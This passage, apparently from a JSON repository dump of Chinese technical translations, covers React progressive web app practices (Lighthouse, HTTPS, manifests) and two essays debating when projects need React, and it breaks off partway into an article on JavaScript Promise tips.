开始。为此我们会使用 [**Lighthouse**](https://github.com/GoogleChrome/lighthouse) — 一个评审 [app 面向 PWA 特性](https://infrequently.org/2016/09/what-exactly-makes-something-a-progressive-web-app/) 的工具，并且检查你的 app 在模拟移动场景下是否做的足够好。Lighthouse 可以通过 [Chrome 插件](https://chrome.google.com/webstore/detail/lighthouse/blipmdconlkpinefehnmjammfjpmpbjk) (我大部分时候都用这个) 以及 [CLI](https://github.com/GoogleChrome/lighthouse#install-cli) 来使用，两者都会展示一个类似这样的报告：\n\n\n\n\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/2000/0*EI9JfoDRizcpZolA.)\n\n\n\n来自 Lighthouse Chrome 插件的结果\n\n\n\n\n\n\n\n顶级评审工具 Lighthouse 会高效地运行一系列为移动世界精炼的现代 web 最佳实践：\n\n*   **网络连接是安全的**\n*   **用户会被提醒将 app 添加到 Homescreen**\n*   **安装了的 web app 启动时会带自定义的闪屏画面**\n*   **App 可以在离线/断断续续的连接下加载**\n*   **页面加载性能快速**\n*   **设计是移动友好的**\n*   **网页是渐进式增强的**\n*   **地址栏符合品牌颜色**\n\n顺便一提，有一个 Lighthouse 的 [快速入门指南](https://developers.google.com/web/tools/lighthouse/)，而且它还能通过 [远程调试](https://github.com/GoogleChrome/lighthouse#lighthouse-w-mobile-devices) 工作。超级酷炫。\n\n无论在你的技术栈中使用了什么库，我想要强调的是在上面列出的一切，在今天都只需要一点小小的工作量就能完成。然而也有一些警告。\n\n**我们知道移动 web 是 [**慢的**](https://www.doubleclickbygoogle.com/articles/mobile-speed-matters/)**。\n\nweb 从一个以文档为中心的平台演变为了头等的应用平台。同时我们主要的计算能力也从强大的，拥有快速可靠的网络连接的强大桌面机器移动到了相对不给力的，连接通常**慢，断断续续或者两者都存在**的移动设备上。这在下一个 10 亿用户即将上网的世界尤其真实。为了解锁更快的移动 web：\n\n*   **我们需要全体转移到在真实移动设备，现实的网络连接下进行测试** (e.g [在 DevTools 的常规 3G](https://developers.google.com/web/tools/chrome-devtools/profile/network-performance/network-conditions?hl=en))。 [chrome://inspect](https://developers.google.com/web/tools/chrome-devtools/debug/remote-debugging/remote-debugging?hl=en) 和 [WebPageTest](https://www.webpagetest.org/) ([视频](https://www.youtube.com/watch?v=pOynMwTyRgQ&feature=youtu.be)) 是你的好帮手。Lighthouse 模拟一台有触摸事件的 Nexus 5X 设备，以及 viewport 仿真 和 被限制的网络连接 （150毫秒延迟，1.6Mbps 吞吐量)。\n*   **如果你使用的是设计开发时没有考虑移动设备的 JS 库，你可能会为了可交互性能打一场硬仗**。我们的理想化目标是在一台响应式设备上 5 秒内变得可交互，所以我们应用代码的预算会更多是 ❤\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*Qx7aFIAKWbn11heD--nxwg.png)\n\n\n\n通过一些工作，可以写出 [如 Housing.com 所展示的](https://twitter.com/samccone/status/771786445015035904) 在有限网络环境下，真机上依然表现良好的使用 React 开发的 PWAs。我们在接下来的系列中讨论如何实现的详尽 **细节**。\n\n\n\n话虽如此，这是一个很多库都在尽力提高的领域，你可能需要知道他们是否会继续提高在物理设备上的性能。只需要看看 [Preact](https://github.com/developit/preact) 所做的超级棒的 [真实世界设备的性能](https://twitter.com/slightlylate/status/770652362985836544)。\n\n**开源 React 渐进式 Web App 示例**\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/0*5tmODLoFjo8A_nnW.)\n\n\n\n\n\n**如果你想要看更复杂的使用 React 开发，并使用 Lighthouse 优化的 PWAs 例子，你可能会感兴趣于：** [_ReactHN_](https://github.com/insin/react-hn)**— 一个使用服务端渲染并支持离线的 HackerNews 客户端 或者 [_iFixit_](https://github.com/GoogleChrome/sw-precache/tree/master/app-shell-demo) — 一个使用 React 开发，但使用了 Redux 进行状态管理的硬件修复指南 app。**\n\n现在让我们梳理一遍在 Lighthouse 报告中需要清点的每一项，并在系列中继续 React.js 专用的小贴士。\n\n### 网络连接是安全的\n\n#### HTTPS 的工具和建议\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1200/1*xRLobGG8a41wGypF9mKI-A.jpeg)\n\n\n\n\n\n[HTTPS](https://support.google.com/webmasters/answer/6073543?hl=en) 防止坏人篡改你的 app 和你的用户使用的浏览器之间的通信，你可能读过 Google 正在推动 [羞辱](http://motherboard.vice.com/read/google-will-soon-shame-all-websites-that-are-unencrypted-chrome-https) 那些没有加密的网站。强大的新型 web 平台 APIs，像 [Service Worker](https://developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API)，[require](https://www.chromium.org/Home/chromium-security/prefer-secure-origins-for-powerful-new-features) 通过 HTTPS 保护来源，但是好消息是像是 [LetsEncrypt](https://letsencrypt.org/) 这样的服务商提供了免费的 [SSL 证书](https://www.globalsign.com/en/ssl-information-center/what-is-an-ssl-certificate/)，便宜的选择像是 [Cloudflare](https://www.cloudflare.com/) 可以使端到端流量 [完全](https://www.cloudflare.com/ssl/) 加密，从来没有如此简单直接地能做到现在这样。\n\n作为我的个人项目，我通常会部署到 [Google App Engine](https://cloud.google.com/appengine/)，它支持通过 appspot.com 域名的 SSL 通信服务，只需要你加上 [‘secure’](https://cloud.google.com/appengine/docs/python/config/appref) 参数到你的 app.yaml 文件。对于需要 Node.js 支持 Universal 渲染的 React apps，我使用 [Node on App Engine](https://cloudplatform.googleblog.com/2016/03/Node.js-on-Google-App-Engine-goes-beta.html)。[Github Pages](https://github.com/blog/2186-https-for-github-pages) 和 [Zeit.co](https://zeit.co/blog/now-alias) 现在也支持 HTTPS。\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/0*OzD-JvnlDlwVS8d-.)\n\n\n\n\n\n_这个_ [_Chrome DevTools Security 面板_](https://developers.google.com/web/updates/2015/12/security-panel?hl=en) **允许你印证安全证书和混合内容错误的问题。**\n\n一些更多的小贴士可以使你的网站更加安全：\n\n*   根据需要重定向用户，升级非安全请求（“HTTP” 连接）到 “HTTPS”。可以一看 [内容安全策略](https://content-security-policy.com/) 和 [升级非安全请求](https://googlechrome.github.io/samples/csp-upgrade-insecure-requests/)。\n*   更新所有引用 “http://” 的链接到 “https://”。如果你依赖第三方的脚本或者内容，跟他们商量一下让他们也支持一下 HTTPS 资源。\n*   提供页面的时候，使用 [HTTP 严格传输安全](https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security) (HSTS) 头。这是一个强制浏览器只通过 HTTPS 和你的网站交流的指令。\n\n我建议去看看 [Deploying HTTPS: The Green Lock and Beyond](https://developers.google.com/web/shows/cds/2015/deploying-https-the-green-lock-and-beyond-chrome-dev-summit-2015?hl=en) 和 [Mythbusting HTTPS: Squashing security’s urban legends](https://developers.google.com/web/shows/google-io/2016/mythbusting-https-squashing-securitys-urban-legends-google-io-2016?hl=en) 来了解更多。\n\n### 用户会被提醒将 app 添加到 Homescreen\n\n下一个要讲的是自定义你的 app 的 “[添加到主屏幕](https://developer.chrome.com/multidevice/android/installtohomescreen)” 体验（favicons，显示的应用名字，方向和更多）。这是通过添加一个 [Web 应用 manifest](https://developer.mozilla.org/en-US/docs/Web/Manifest) 来做的。我经常会找定制的跨浏览器（以及系统）的图标来完成这部分工作，但是像是 [realfavicongenerator.net](http://realfavicongenerator.net/) 这样的工具能解决不少麻烦的事情。\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/0*00LlyQjpgTUPOh0g.)\n\n\n\n\n有很多关于一个网站只需要在大部分场合能工作的 “最少” favicons 的讨论。Lighthouse [提议](https://github.com/GoogleChrome/lighthouse/issues/291) 提供一个 192px 的图标给主屏幕，一个 512px 的图标给你的闪屏。我个人坚持从 realfavicongenerator 得到的输出，除了它包含更多的 metatags, 我也更倾向于它能涵盖我的所有基数。\n\n一些网站可能更倾向于为每个平台提供高度定制化的 favicon。我推荐去看看 [设计一个渐进式 Web App 图标](https://medium.com/dev-channel/designing-a-progressive-web-app-icon-b55f63f9ff6e#.voxq5imjg) 以获得更多关于这个主题的指导。\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1200/1*xdyHSM4RdSkeN3-U8O1JKg.png)\n\n\n\n\n\n通过 Web App manifest 安装，你还能获得 [app 安装器横幅](https://developers.google.com/web/fundamentals/engage-and-retain/app-install-banners/?hl=en)，让你有方法可以原生地提示用户来安装你的 PWA，如果他们觉得会经常使用它的话。还可以 [延迟](https://developers.google.com/web/fundamentals/engage-and-retain/app-install-banners/?hl=en#deferring_or_cancelling_the_prompt) 提示，直到用户和你的 app 进行了有意义的交互。Flipkart [找到](https://twitter.com/adityapunjani/status/782426188702633984) 最佳时间来显示这个提示是在他们的订单确认页。\n\n[**Chrome DevTools Application 面板**](https://developers.google.com/web/tools/chrome-devtools/progressive-web-apps) 支持通过 Application > Manifest 来查看你的 Web App manifest：\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/0*-UCHfo1lxUdWUKAD.)\n\n\n\n\n\n它会解析出列在你的 manifest 清单文件的 favicons（网站头像），还能预览像是 start URL 和 theme colors 这样的属性。顺带一提，如果感兴趣的话，这里有一个完整的关于 Web App Manfests 的工具小贴士 [片段](https://www.youtube.com/watch?v=yQhFmPExcbs&index=11&list=PLNYkxOF6rcIB3ci6nwNyLYNU6RDOU3YyL) 😉\n\n### 安装了的 web app 启动时会带自定义的闪屏画面\n\n在旧版本的 Android Chrome 上，点击主屏幕上的 app 图标通常会花费 200 毫秒（一些慢的网站甚至要数秒）以到达文档的第一帧被渲染到屏幕上。\n\n在这段时间内，用户会看到一个白屏，减少对你网站的感知到的性能。Chrome 47 和以上版本 [支持自定义闪屏](https://developers.google.com/web/updates/2015/10/splashscreen?hl=en)（基于来自 Web App manifest 的背景颜色，名字和图标）会在浏览器准备绘制一些东西前给屏幕一些颜色。这使得你的 webapp 感受上更接近 “原生”。\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/0*sQHn9k-t--cNcijL.)\n\n\n\n\n\n[Realfavicongenerator.net](http://realfavicongenerator.net/) 现在还支持根据你的清单（manifest）预览并自定义闪屏，很方便地节约时间。\n\n**注意：Firefox for Android 和 Opera for Android 也支持 Web 应用程序清单，闪屏和添加到主屏幕的体验。在 iOS 上，Safari 也支持自定义添加到 [主屏幕的图标](https://developer.apple.com/library/ios/documentation/AppleApplications/Reference/SafariWebContent/ConfiguringWebApplications/ConfiguringWebApplications.html) 并曾经支持一个 [专有的闪屏](https://gist.github.com/tfausak/2222823) 实现，然而这个在 iOS9 上显得不能用了。我已经填了一个特性请求给 Webkit，以支持 Web App manifest，所以...希望一切顺利吧。**\n\n### 设计是移动友好的\n\n为多种设备所优化的 Apps 必须在他们的 document 里面包括一个  [meta-viewport](https://developers.google.com/web/fundamentals/design-and-ui/responsive/fundamentals/set-the-viewport?hl=en)。这看上去非常明显，但是我看到过很多的 React 项目中，人们忘了加上这个。好在 [create-react-app](https://github.com/facebookincubator/create-react-app/blob/master/packages/react-scripts/template/public/index.html#L5) 有默认加上有效的 meta-viewport，而且如果缺失的话 Lighthouse 会标记上：\n\n\n\n尽管我们非常重视渐进式 Web 应用程序在移动 web 的体验，这 [并不意味着桌面应该被忘记](https://www.justinribeiro.com/chronicle/2016/09/10/desktop-pwa-bring-the-goodness/)。一个精心设计的 PWA 应该可以在各种 viewport 尺寸、浏览器以及设备上良好运作，正如 Housing.com 所展示的：\n\n\n\n\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/2000/0*bgAmcKHWLB_DxiRC.)\n\n\n\n\n\n\n\n\n\n在系列第 2 部分，我们将会看看那 [**使用 React 和 Webpack 的页面加载性能**](https://medium.com/@addyosmani/progressive-web-apps-with-react-js-part-2-page-load-performance-33b932d97cf2#.9ebqqaw8k)。我们会深入 code-splitting（代码分割），基于路由的 chunking（分块）以及 达到更快交互性 PRPL 模式。\n\n如果你不熟悉 React，我发现 Wes Bos 写的 [给新手的 React](https://goo.gl/G1WGxU) 很棒。\n\n_感谢 Gray Norton, Sean Larkin, Sunil Pai, Max Stoiber, Simon Boudrias, Kyle Mathews 和 Owen Campbell-Moore 的校对_\n"
  },
  {
    "path": "TODO/project-need-react.md",
    "content": "> * 原文地址：[When Does a Project Need React?](https://css-tricks.com/project-need-react/)\n> * 原文作者：本文已获原作者 [CHRIS COYIER](https://css-tricks.com/author/chriscoyier/) 授权\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[龙骑将杨影枫](https://github.com/stormrabbit)\n> * 校对者：[Guangyuan (Charlie) Yang](https://github.com/yzgyyang)、[薛定谔的猫](https://github.com/Aladdin-ADD)\n\n# 项目什么时候需要 React 框架呢？ #\n\n你知道什么时候项目需要 HTML 和 CSS，因为这是项目的基础。什么时候用 JavaScript 也很清楚：当你需要只有它能提供的交互功能的时候。过去我们什么时候应该用代码库也很清楚：我们需要 jQuery 来帮助我们简化 DOM 操作，调用 Ajax，处理浏览器兼容问题；我们需要 Underscore 提供 JavaScript 没有的帮助函数（ helper functions ）。\n\n但是随着对这些代码库的需求逐渐消失，我们看到很多新兴框架的大幅增长。我认为就不那么容易确定**何时需要它们**了。比如说，我们什么情况下需要 React 框架？\n\n在众多的 JavaScript 框架中 —— Vue、Ember、Svelte ... 不管哪一个，我想以 React 框架为例子来探讨它适合什么项目。我明白这些框架并不完全相同，但是使用它们的时机应该是有一些共性的。\n\n这是我的建议。\n\n### ✅ 当项目中有大量的状态的时候 ###\n\n\n即便“状态（state）”这个词也无法完全准确的表达我的意思。想象一下这些情况：\n\n- 导航栏的哪个栏目正处于激活状态\n- 一个按钮是否被禁用\n- 输入框的值\n- 哪一个下拉框是弹出的状态\n- 何时加载某个区域\n- 登陆的用户如何进行权限控制\n- 用户编写的文章是已发布状态还是草稿状态\n\n\n“业务逻辑” —— 我们经常处理的这类东西。状态也可能和内容直接相关：\n\n- 一篇文章中所有的评论，以及零零碎碎的组成它们的东西。\n- 当前正在查看的文章，以及该文章的一些属性\n- 一系列相关的文章，以及这些文章的属性\n- 一份作者列表\n- 一份记录用户近期操作的活动日志\n\nReact 框架并没有帮助你**组织**这些状态，它只是说：我知道你需要处理状态的问题，所以我们不如把它设为 state 属性，通过编程的方式进行读写。\n\n\n在有 React 框架之前，我们也许**考虑过**状态的定义，但是大部分时候并没有把它当作一个直接的概念去管理。\n\n\n也许你听说过这个短语“单一数据源”？很多时候我们把 DOM 作为我们的单一数据源。比如说，你需要知道是否可以提交某个表单了。也许你会用 `$(\".form input[type='submit']).is(\":disabled\")` 去检查一下，因为所有影响表单是否可提交的业务逻辑最终都会改变按钮的 disable 属性。所以按钮变成了你的 app 事实上的数据源。\n\n\n或者说，你需要知道某篇文章的第一个评论者的名字，也许你会这样写 `$(\".comments > ul > li:first > h3.comment-author).text()`，因为 DOM 是你唯一可以获得这些信息的地方。\n\n\nReact 框架这样告诉我们：\n\n1. 我们把这些所有的东西都想像成状态（state）。\n\n2. 我会为你做好一件事：把状态转换为一串 JSON 对象，这样的话处理起来很容易，也许你的服务端可以处理的很漂亮。\n\n3. 更棒的是：你可以用这些状态（state）直接构建 HTML ，你根本不需要直接操作 DOM，我都替你处理了（也许比你亲自处理的要更快更好）。\n\n### ✅ 对抗面条式代码 （Spaghetti） ###\n\n这和我们刚才讨论过的状态有非常大的关系。\n\n“面条式”代码，指的是代码的组织结构已经脱离你的掌控。再想象一下，假设有这么一个表单，它有一些专门处理表单内输入框的业务逻辑。该表单内有这么一个数字输入框，当这个输入框的值改变的时候，在旁边显示根据该值进行某些计算后的结果。这个表单可以被提交至服务端，因此也需要合法性检查，而也许合法性检查的代码位于其他地方的验证库中。也许在确定某处的 JavaScript 代码全部加载完之前，你还需要禁用此表单，而这个逻辑也在别的地方。也许当表单提交后，你还需要处理一些返回值。没有什么特别让人意外的功能，但是凑在一起就很容易让人蒙圈。如果这个项目由一个新的开发人员接手后，当他看到这个表单时他如何能捋清这些逻辑呢？\n\nReact 框架鼓励把东西打包成组件。所以这个表单要么自己是一个组件，要么由其他的小组件组成。每一个组件只处理与自己直接相关的逻辑。\n\nReact 框架说：**嗯，你不会直接看到 DOM 的变化，因为 DOM 是我的，你无法直接操作它**。为什么你不把这些东西想象成状态的一部分，当需要的时候就改变状态（state）。我会处理其他的事情，重新渲染需要被渲染的界面。\n\n应该说，只有 React 框架还不足以解决面条式代码。因为状态也可能出现在各个奇怪的地方，或者状态起的名字很糟糕，或者用莫名其妙的方式调用。\n\n以我有限的经验来看，Redux 库才能真正解决面条式代码的问题。Redux 说：我会处理**所有**重要的状态，都是全局的，不是组件依赖的。我才是唯一的数据源。如果你需要改变状态，就要采用特定的**仪式**（我听说它是这么叫的，而且我喜欢这么叫）。通过 reducers 和被分发的（dispatched） actions，所有的改变都会遵循这种仪式。\n\n如果你准备在项目中加入 Redux（或者 Redux 的变种），那么你就可以和硬编码说再见了。通过加入 Redux 框架，组件会变的高内聚，也很容易理清整个需求的逻辑走向了。\n\n### ✅ 要管理大量的DOM ###\n\n手动处理 DOM 可能是引起面条式代码的最大原因。\n\n1. 在这里插入一段 HTML ！\n\n2. 在这里把某些东西扔出去！\n\n3. 监听特定区域的特定事件（event）！\n\n4. 在这里绑定一个新事件！\n\n5. 又来了新内容。再次插入到 HTML 里，确保它绑定了正确的事件！\n\n此类事情可以发生在一个 app 的任何地方、任何时间，这就造成了面条式代码。手动管理是不靠谱的，因为这么做的话又变成 DOM 数据源了。很难准确的知道任何给定的元素发生了什么，所以每个人只好直接查询 DOM ，做他们必须做的事情，顺便向上帝祈祷他们这么做没干扰到别人。\n\nReact 框架说：你不需要直接操作 DOM 。我用虚拟 DOM 来处理真实的 DOM。如果你想要操作 DOM，可以直接在虚拟 DOM 上操作。通过这种方式，所有的逻辑就有迹可循了。\n\n管理**复杂的** DOM 是另一件适合 React 框架的事情。想象有一个聊天软件，当数据库接收到其他聊天者传递来的新聊天信息时，在聊天窗口里应该显示这些新的信息。否则你只能自己给自己聊天了！或者当聊天页面第一次被加载的时候，可以从本地数据库里找出几条旧信息显示出来，这样你立刻有东西可以看了。比如说这个[推特例子](https://twitter.com/mjackson/status/849636985740210177)。\n\n### ❌ 只是因为，React 框架是目前最火的框架。 ###\n\n学习新东西是很酷的，所以学习吧！\n\n为了满足用户的需求而构建项目则需要更谨慎一点。\n\n举个例子，一个博客**也许**没什么复杂的逻辑，一点也不符合应该使用 React 框架的情况。所以如果不是很适合的话，那么也许就是**很不**适合 React 框架。因为这么做引入了复杂的技术，依赖了很多根本没用到的东西。\n\n在完全适合和完全不适合之间，如果这个博客是一个 SPA （“单页面应用”，不需要浏览器刷新），通过 headless CMS 获取数据构建该博客，并且具有出色的服务端渲染...好吧，也许又是 React 框架的领域。\n\n如果是 web app CMS 创建的这种博客？也许用 React 是一个好选择，因为它也有一大堆的状态。\n\n### ❌ 我就是喜欢 JavaScript ，就是想用它来编写任何东西。 ###\n\n我经常安利周围的人：学习 JavaScript。因为 JavaScript 的知识太丰富了。它能做很多很多的事情，也有很多的工作机会，所以好好学习 JavaScript 永远不会过时。\n\n只有在最近的网络技术历史里，Javascript 才可以做所有的事情。你通过 Node.js 构建服务端，也有很多项目可以通过 JavaScript 处理 CSS。现在通过 React 框架，你还可以通过 JavaScript 来写 HTML。\n\n万物归于 JavaScript！JavaScript 万岁！\n\nReact 确实碉堡了，但是你可以用 React 并不意味着你必须用 React 。并不是所有的项目都必须使用它 ，而且事实上，有相当一部分有可能压根不需要它。\n\n### ☯️ 这就是我所知道的。 ###\n\n（**是**或者**否**都可以找到合适的图标来表达，但是想表达**也许**的意思就比较复杂）（译者注： 指作者此处用太极的图标表示**也许**的意思。）\n\n你在学习，太好了。每个人都在学习，所以坚持学习吧。你知道的越多，你越知道该应该用什么技术更好。\n\n但是很多时候你只能以现有的技术来构建项目，所以我也不会反复强调这一点。\n\n### ☯️ 这就是工作。 ###\n\n在给定的任何项目中，不是每个人都决定应该底用什么技术。希望随着时间的增长，你可以更大层度上的影响决策。Eden 说她[花了两年的时间研究 Ember](https://twitter.com/edenthecat/status/849640183360352257)，因为这就是她的工作。没有任何冒犯的意思，但是拿人钱财就得替人消灾。Ember 也许比较适合这些项目。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/projects-need-react.md",
    "content": "> * 原文地址：[Which Projects Need React? All Of Them!](https://css-tricks.com/projects-need-react/)\n> * 原文作者：本文已获原作者 [SACHA GREIF](https://css-tricks.com/author/sachagreif/) 授权\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[sunui](https://github.com/sunui)\n> * 校对者：[LeviDing](https://github.com/leviding)、[Shangbin Yang](https://github.com/rccoder)\n\n# 哪些项目需要 React？都需要！\n\n项目什么时候需要 React 框架呢？这是 Chris Coyier 在[最近一篇博文](https://github.com/xitu/gold-miner/blob/master/TODO/project-need-react.md)中提出的问题。我是 Chris 博客的粉丝，所以我好奇他要说什么。\n\n简而言之，Chris 提出了一系列使用 React（或其他类似的当代 JavaScript 库）的优势和劣势。虽然我并不反对他的观点，但我依然发现自己得出了不同的结论。\n\n所以今天我想说的是，对于“项目什么时候需要 React 框架”的答案不是“要看情況”，而是“**任何时候**”。\n\n![](https://cdn.css-tricks.com/wp-content/uploads/2017/04/tools.jpg)\n\n### React vs Vue vs Angular vs… ###\n\n首先，说点题外话：在他的文章中，Chris 选择 React 作为一般意义上“前端库”的代表，那么我也一样。况且 React 是我维护的仓库 [VulcanJS](http://vulcanjs.org)（一个 React 和 GraphQL 框架）中最熟悉的东西。\n\n话虽如此，我的观点也适用于任何提供 React 相同特性的其他库。\n\n### 锤子的力量 ###\n\n> 如果你手里只有一把锤子， 所有东西看上去都像钉子。\n\n这则谚语长久以来都被用于谴责一刀切看问题的人。\n\n但我们假设有一段时间，你的确生活在布满钉子的世界（听起来有点起鸡皮疙瘩），那么你信任的锤子能够解决你遇到的任何问题。\n\n想想**每次重复使用相同工具**的好处：\n\n- 无需花时间决定使用哪一个工具。\n- 花更少的时间学习新工具。\n- 拥有更多的时间来更好地挥舞你选择的工具。\n\n所以 React 会是这种工具吗？我觉得它可能是的！\n\n### 复杂度谱 ###\n\n首先，我们来看看最常见的反对“一切皆 React”的观点。我直接引用 Chris 原话：\n\n> 举个例子，一个博客也许没什么复杂的逻辑，一点也不符合应该使用 React 框架的情况。既然在这种情况下 React 框架不是很合适，那么在这用 React 框架就不是好的选择。因为这么做引入了复杂的技术，依赖了很多根本没用到的东西。\n\n说的很在理。一个简单的博客不**需要** React。毕竟即使你需要一点 Javascript 处理注册表单，你也可以仅仅使用 jQuery。\n\n什么？你需要在不同页面的多个地方使用那个表单？还要只在某些条件下才显示？也要加上动画？等等，打住…\n\n我用这个小情景想表达的主旨就是复杂性并不是一个或是或非的问题，现代网站生活在一个连续的频谱上，从静态页面一直到丰富的单页应用。\n\n所以可能**现在**你的项目正舒服地生活在“简单”的这一头，但这一路下去六个月后呢？与其陷入鸽子洞式的糟糕实践，选择一种留有成长空间的技术岂不更好？\n\n### React 的优势 ###\n\n> 过早优化是万恶之源。\n\n这是程序员中流行的另一则言语。毕竟，当胶带就能做的很好的时候，谁会需要锤子和钉子呢！\n\n但这里做了一个假设就是“过早优化”是一个长期的少有成效的艰难过程。并且我觉得这个不适于 React。\n\n虽然 React 需要一些时间来习惯，但一旦了解了其[基本概念](https://medium.freecodecamp.com/the-5-things-you-need-to-know-to-understand-react-a1dbd5d114a3)，您就能像使用传统的前端工具一样快速上手。\n\n事实上，也许更多的是因为 React 使用了非常强大的**组件**概念。就像 CSS 鼓励你考虑可重用的类和样式一样，React 带来了一个灵活的模块化前端架构，从简单的静态主页到交互式后端仪表板，为每一个用例带来好处。\n\n### JavaScript， 随处都是 JavaScript ###\n\n我们生存在 JavaScript 的世界。就像 Chris 所说：\n\n> 你通过 Node.js 构建服务端，也有很多项目可以通过 JavaScript 处理 CSS。现在通过 React 框架，你还可以在 JavaScript 里写 HTML。\n>\n> 万物归于 JavaScript！JavaScript 万岁！\n\nChris 不是很相信，但我相信。JavaScript 本身并不一定完美，但能够访问整个现代 NPM 生态系统太棒了。\n\n过去安装一个 jQuery 插件要找到它的官网，下载下来，拷贝到你的项目目录，加一个 `<script>` 标签，然后期望记得每过几个月检查一下新版本。现在，安装和 React 包同样的插件只是 npm install 命令的问题。\n\n使用像 [styled-components](https://medium.freecodecamp.com/a-5-minute-intro-to-styled-components-41f40eb7cd55) 这样的新库，甚至 CSS 现在也被连带着尖叫着进入未来。\n\n相信我，一旦你习惯了那种全世界都在说的语言，那就很难再回归到以前的方式了。\n\n### 不会有人想到用户！\n\n我知道你在想什么：目前为止我一直在推销 React 给开发者带来的好处，却小心翼翼的提及终端用户的体验。\n\n并且这仍然是反对使用当代库的关键论点：缓慢臃肿的 JavaScript 站点却只是为了显示单个“奇迹淫巧”的广告。\n\n此外还有一个小秘密：**你可以完全不引用 JavaScript 而获得 React 的所有优势**！\n\n我想说的是在**服务端**渲染 React。事实上， 像 [Gatsby](https://github.com/gatsbyjs/gatsby)（还有 [Next.js](https://github.com/zeit/next.js/) 等等）这样的工具可以把你的 React 组建编译进静态 HTML 文件中，这样你可以托管在 GitHub pages 上面。\n\n举个例子，[我自己的个人站点](http://sachagreif.com/) 就是一个 Gatsby-generated React 应用，没有加载任何的 JavaScript（除了一个 Google Analytics 片段）。 我在开发中发挥了 React 的所有优势（全 JavaScript，拥抱 NPM 生态，styled-components 等），而最终得到了纯 HTML 和 CSS 的最终产品。\n\n### 总结\n\n概括一下，这是我认为 React 是**任何**项目的可行选择的四个原因：\n\n- 即使是最简单的网站，也很难保证你永远不会需要交互功能，如标签、表单等。\n- React 基于组件的方式即使相比于基于内容的静态站，也有巨大的优势。\n- 拥抱现代 JavaScript 生态系统是又一个巨大的优势。\n- 现代服务端渲染工具可以消除终端用户使用 React 的劣势。\n\n所以 Chris，您觉得呢？我的观点否足够令人信服？还是您依然保持怀疑？\n\n那么你呢，亲爱的读者？你觉得像 Chris 所说每一个工具都有它的用处，还是同意我的观点“锤子时间”就在眼前？评论起来让我知道你们的观点吧！\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/promising-promise-tips.md",
    "content": "> * 原文地址：[9 Promising Promise Tips](https://dev.to/kepta/promising-promise-tips--c8f)\n> * 原文作者：[Kushan Joshi](https://dev.to/kepta)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/promising-promise-tips.md](https://github.com/xitu/gold-miner/blob/master/TODO/promising-promise-tips.md)\n> * 译者：[position_柚子君](https://github.com/yanyixin)\n> * 校对者：[Starrier](https://github.com/Starriers), [DukeWu](https://github.com/94haox)\n\n\n# 关于 Promise 的 9 个提示\n\n正如同事所说的那样，Promise 在工作中表现优异。\n\n![prom](https://res.cloudinary.com/practicaldev/image/fetch/s--zlauxVhZ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://user-images.githubusercontent.com/6966254/36483828-3e361d88-16e5-11e8-9f11-cbe99d719066.png)\n\n这篇文章会给你一些如何改善与 Promise 之间关系的建议。\n\n## 1. 你可以在 .then 里面 return 一个 Promise\n\n让我来说明这最重要的一点\n\n> **是的！你可以在 .then 里面 return 一个 Promise**\n\n而且，return 的这个 Promise 将在下一个 `.then` 中自动解析。\n\n```\n.then(r => {\n    return serverStatusPromise(r); // 返回 { statusCode: 200 } 的 Promise\n})\n.then(resp => {\n    console.log(resp.statusCode); // 200; 注意自动解析的 promise\n})\n```\n\n## 2. 每次执行 .then 的时候都会自动创建一个新的 Promise\n\n如果熟悉 javascript 的链式风格，那么你应该会感到很熟悉。但是对于一个初学者来说，可能就不会了。\n\n在 Promise 中不论你使用 `.then` 或者 `.catch` 都会创建一个新的 Promise。这个 Promise 是刚刚链式调用的 Promise 和 刚刚加上的 `.then` / `.catch` 的组合。\n\n让我们来看一个 🌰：\n\n```\nvar statusProm = fetchServerStatus();\n\nvar promA = statusProm.then(r => (r.statusCode === 200 ? \"good\" : \"bad\"));\n\nvar promB = promA.then(r => (r === \"good\" ? \"ALL OK\" : \"NOTOK\"));\n\nvar promC = statusProm.then(r => fetchThisAnotherThing());\n```\n\n上面 Promise 